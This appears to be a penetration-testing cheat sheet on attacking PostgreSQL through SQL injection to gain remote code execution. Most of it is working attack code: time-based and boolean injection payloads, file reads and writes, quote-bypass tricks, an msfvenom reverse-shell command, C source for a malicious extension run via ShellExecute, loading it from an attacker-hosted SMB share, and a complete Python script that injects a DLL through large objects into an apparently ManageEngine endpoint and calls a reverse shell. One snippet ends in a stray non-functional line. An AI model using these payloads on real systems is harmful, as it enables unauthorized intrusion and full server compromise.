# PostgreSQL Exploitation \[NEW]

## Stacked queries and Blind Time Based SQL Injection

{% hint style="info" %}
Watch out for queries that returns multiple rows in the place where application returns just one - it can break the program.
{% endhint %}

It is important to know PostgreSQL supports stacked queries **(only the basic ones: SELECT, DELETE, INSERT etc)**. That means if we will find injection point we are able to terminate the current query with **;** keyword and then inject our own command.

Example (sleep script injection to confirm the vulnerability):

```javascript
http://site?id=5;SELECT+pg_sleep(10);
```

After confirming the vulnerability and ability to perform stacked queries we can proceed to crafting RCE payload. This is possible by usage of.

## Reading files with PostgreSQL

```sql
select pg_read_file('[path_to_file]' , 0 , 1000000);
```

## Blind Boolean-Based SQL Injection (UNION INTEGER CAST)

We are able to extract the data from database even if UNION cats to Integer. With the payload below, and swapping the **P** with another letters. We can determine with which letter the value starts.

If we want to automate the process we have to go through whole alphabet in order to see the match. When first letter is discovered script has to extend the search by another letter and compare two letters from database with one valid previous letter and the new one which is again guessed by loop.

Example Boolean Based SQL injection payload:

```sql
SELECT version()UNION SELECT CASE WHEN SUBSTRING(version(), 1, 1) = 'P' THEN '1' ELSE '0' END;
```

### Problem with special characters

Sometimes you can encounter encoding that is done on special HTML chars. In order to still being able to use them we can leverage CHR characters in order to create the command.

```sql
SELECT * FROM CHR(65) || CHR(66) || CHR(67); # = SELECT * FROM ABC
```

## \[RCE] Saving files using PostgreSQL

We can leverage the **COPY TO** functionality in order to create reverse shell on the machine but in this case CHR() will not work.

#### Bypassing the possible restrictions

That why we have to use substitutes - there are a few options in PostgreSQL that allows us to replace special characters.&#x20;

For example when we cannot use **'** character we can replace it with $$. If we cannot use " we can replace it with $.

```python
' == $$
" == $
```

#### Creating Reverse Shell

{% hint style="danger" %}
If payload is too long and you get 400 Bad Request or 500 Internal Server Error use POST request in order to deliver the malicious data.
{% endhint %}

In order to create reverse shell / just create the file using PostgreSQL we have to:

1. Create temporary table and enter the data there.
2. Use data from temporary data to fill up our created file.

```sql
CREATE TEMP TABLE test_table(payload text); # table creation
INSERT INTO test_table(payload) VALUES ($$contents$$); # file contents
COPY test_table(payload) TO $$C:\Full_Path$$; # file creation with payload from table
DROP TABLE test_table; # drop table for further payloads
```

You can also use base64 decoder in order to deliver the payload without catching errors:

```javascript
copy (select convert_from(decode($$ENCODED_PAYLOAD$$,$$base64$$),$$utf-8$$)) to $$C:\Path_to_file.ext$$;
```

## Meterpreter payload files

For malicious files with reverse shell you can use meterpreter. Sample command that creates malicious file:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f raw > shell.jsp
```

### Superuser functionalities

In order to check if we are superusers we can run the following command:

> in the case of blind SQLi we can merge it with pg\_sleep command

```sql
SELECT current_setting('is_superuser');
```

If this is the case new possibilities are open to us. For example we can upload malicious PostgreSQL extensions in order to gain RCE.

## \[RCE] Malicious extension (.dll)

{% hint style="info" %}
In order for extension to work it has to follow appropriate PostgreSQL structure.
{% endhint %}

With more general approach to PostgreSQL exploitation we usually choose not environment specific universal solution. With that can help us malicious extension creation. We are able to develop our own C written addon.

Loading extension:

```sql
CREATE OR REPLACE FUNCTION test(text) RETURNS void AS 'FILENAME', 'test' LANGUAGE 'C' STRICT;
```

Extension C code (compile on the victim host):

```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PGDLLEXPORT Datum test(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(test);

Datum
test(PG_FUNCTION_ARGS)
{

#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	int instances = PG_GETARG_INT32(1);

	for (int c = 0; c < instances; c++) {
		ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
	}
	PG_RETURN_VOID();
}
```

### Testing the execution from local location

Before running extension created by us we have to create UDF (User Defined Function).

Sample UDF:

> This piece of SQL query loads our extension and execute previously defined command to open calc.exe on the target machine.

```sql
create or replace function test(text, integer) returns void as $$C:\test.dll$$, $$test$$ language C strict;
SELECT test($$calc.exe$$, 3);
```

### Executing the script from remote location

In order to load the extension from remote loctation attacker has to host his own smbserver using impacket library:

```bash
sudo impacket-smbserver share /path/to/share/
```

Now we can point to remote location instead of the local one in our payload:

```sql
create or replace function test(text, integer) returns void as $$\\[SHARE]\test.dll$$, $$test$$ language C strict;
SELECT test($$calc.exe$$, 3);
```

## \[RCE] PostgreSQL Large Objects

{% hint style="danger" %}
WHEN EXPLOITING MAKE SURE YOU ENCODE REQUIRED CHARACTERS AND DO NOT USE MULTILINE STATEMENTS, COMMENT OUT THE UNUSED CODE!

CHECK ALSO PERMISSIONS -> SQL AGENT CAN SOMETIMES HAVE LIMITED SAVING CAPABILITIES. IN THIS CASE YOU HAVE TO USE PUBLICLY WRITEABLE PATHS.
{% endhint %}

> COPY TO function is not able to transfer binary files -> this is the remediation for that obstacle

While malicious extensions are a great way to gain RCE in the internal network they are not good for testing from external address.

One of the best ways to deliver and execute payload is combining **PostgreSQL LO and malicious extension**.

In order to do that we have to:

1. Generate a DLL file containing the malicious payload.

> Build the file below on the victim's system if possible and transfer the file to attackers machine to be sure everything will work properly.

```c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PGDLLEXPORT Datum test(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(test);

Datum
test(PG_FUNCTION_ARGS)
{

#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	int instances = PG_GETARG_INT32(1);

	for (int c = 0; c < instances; c++) {
		ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
	}
	PG_RETURN_VOID();
}
```

You can use the following powershell command in order to convert built .dll file to hex encoding.

```powershell
[BitConverter]::ToString([IO.File]::ReadAllBytes("test.dll")).Replace("-", "") | Out-File "file.hex"
```

2. Execute a query to create a large object from an arbitrary remote file on disk.

> You can select any other existing file on the system instead of win.ini.
>
> 1337 -> ID of large object in the table (required to retreive it later)

```sql
select lo_import('C:\\Windows\\win.ini', 1337);
```

3. Execute a query to write the first 2KB of the DLL to page 0 of the large object.

> 7730374 -> place where we put 2KB of our payload \[HEX Encoded]
>
> loid = 1337 -> ID of our Large Object created before
>
> pageno = 0 -> first part of the file

```sql
update pg_largeobject set data=decode('77303074', 'hex') where loid=1337 and pageno=0;
```

4. Execute queries to add additional pages in the pg\_largeobject table to store the remaining contents of the DLL.

{% hint style="info" %}
For the encoding you can use the following command:\
\&#xNAN;***xxd -p file.dll > output.txt***
{% endhint %}

> (optional)
>
> pageno = 1 -> second part of the file

```sql
INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, 1, decode($$HEX_PAYLOAD$$, $$hex$$));
```

Script below automates process of inserting the file:

```python
# read file with hex encoded binary
f = open("LOexploitation.txt")
payload = f.read()

# split file into chunks
chunks = []
loops = len(payload) / 4096
rest = len(payload) % 4096

for l in range(0, int(loops), 1):
    splitted_chunck = payload[4096*l:4096*(l+1)]
    if (l == 0):
        query = "update pg_largeobject set data=decode('{}', 'hex') where loid=1337 and pageno={};".format(splitted_chunck, l)
    else:
        query = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, {}, decode($${}$$, $$hex$$));".format(l, splitted_chunck)
    print(query)


if rest != 0:
    "W payloadzie brakuje ostatniego chunka! Dopisz go ręcznie / zmodyfikuj skrypt"
```

5. Execute a query to export the large object (DLL) to the remote server’s file system.

```sql
select lo_export(1337, 'C:\\test.dll');
```

6. Execute a query to create a PostgreSQL User Defined Function (UDF) that uses the exported DLL and execute a payload inside.

> Instead of calc.exe we put here reverse shell payload (e.g. downloading and executing nc.exe)

```sql
create or replace function test(text, integer) returns void as $$C:\\test.dll$$, $$test$$ language C strict;
SELECT test($$calc.exe$$, 3);
```

## Reverse shell using Large Object Addon \[Python Script]

```python
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

lo_inject_commands = []

# read file with hex encoded binary 
# (you have to create malicious .dll and convert it to hex encoding
f = open("hex_from_binary_file.txt")
payload = f.read()

# split file into chunks
chunks = []
loops = len(payload) / 4096
rest = len(payload) % 4096

for l in range(0, int(loops), 1):
    splitted_chunck = payload[4096*l:4096*(l+1)]
    if (l == 0):
        query = "update pg_largeobject set data=decode($${}$$, $$hex$$) where loid=1337 and pageno={};".format(splitted_chunck, l)
    else:
        query = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (1337, {}, decode($${}$$, $$hex$$));".format(l, splitted_chunck)
    lo_inject_commands.append(query)

def executeQuery(query):
    href = "https://manageengine:8443/servlet/AMUserResourcesSyncServlet"

    # set the payload
    data = {
        "ForMasRange" : 1,
        "userId": "1;{}--+".format(query)
    }

    # send request through burp suite
    proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    r = requests.post(href, data=data,  verify=False,proxies=proxies)

def exploit():
    # make space for lo
    executeQuery("select lo_import(CONVERT_FROM(decode($$QzpcXFdpbmRvd3NcXHdpbi5pbmk=$$, $$base64$$), $$UTF-8$$), 1337);")
    
    # inject lo .dll
    for command in lo_inject_commands:
        executeQuery(command)

    # export .dll
    executeQuery("SELECT lo_export(1337, $$C:\\Users\\Public\\test.dll$$);")

    # import .dll as addon
    executeQuery("CREATE FUNCTION connect_back() RETURNS void AS $$C:\\Users\\Public\\test.dll$$, $$connect_back$$ LANGUAGE C STRICT;")

    # execute reverse shell
    executeQuery("SELECT connect_back();")


exploit()
```
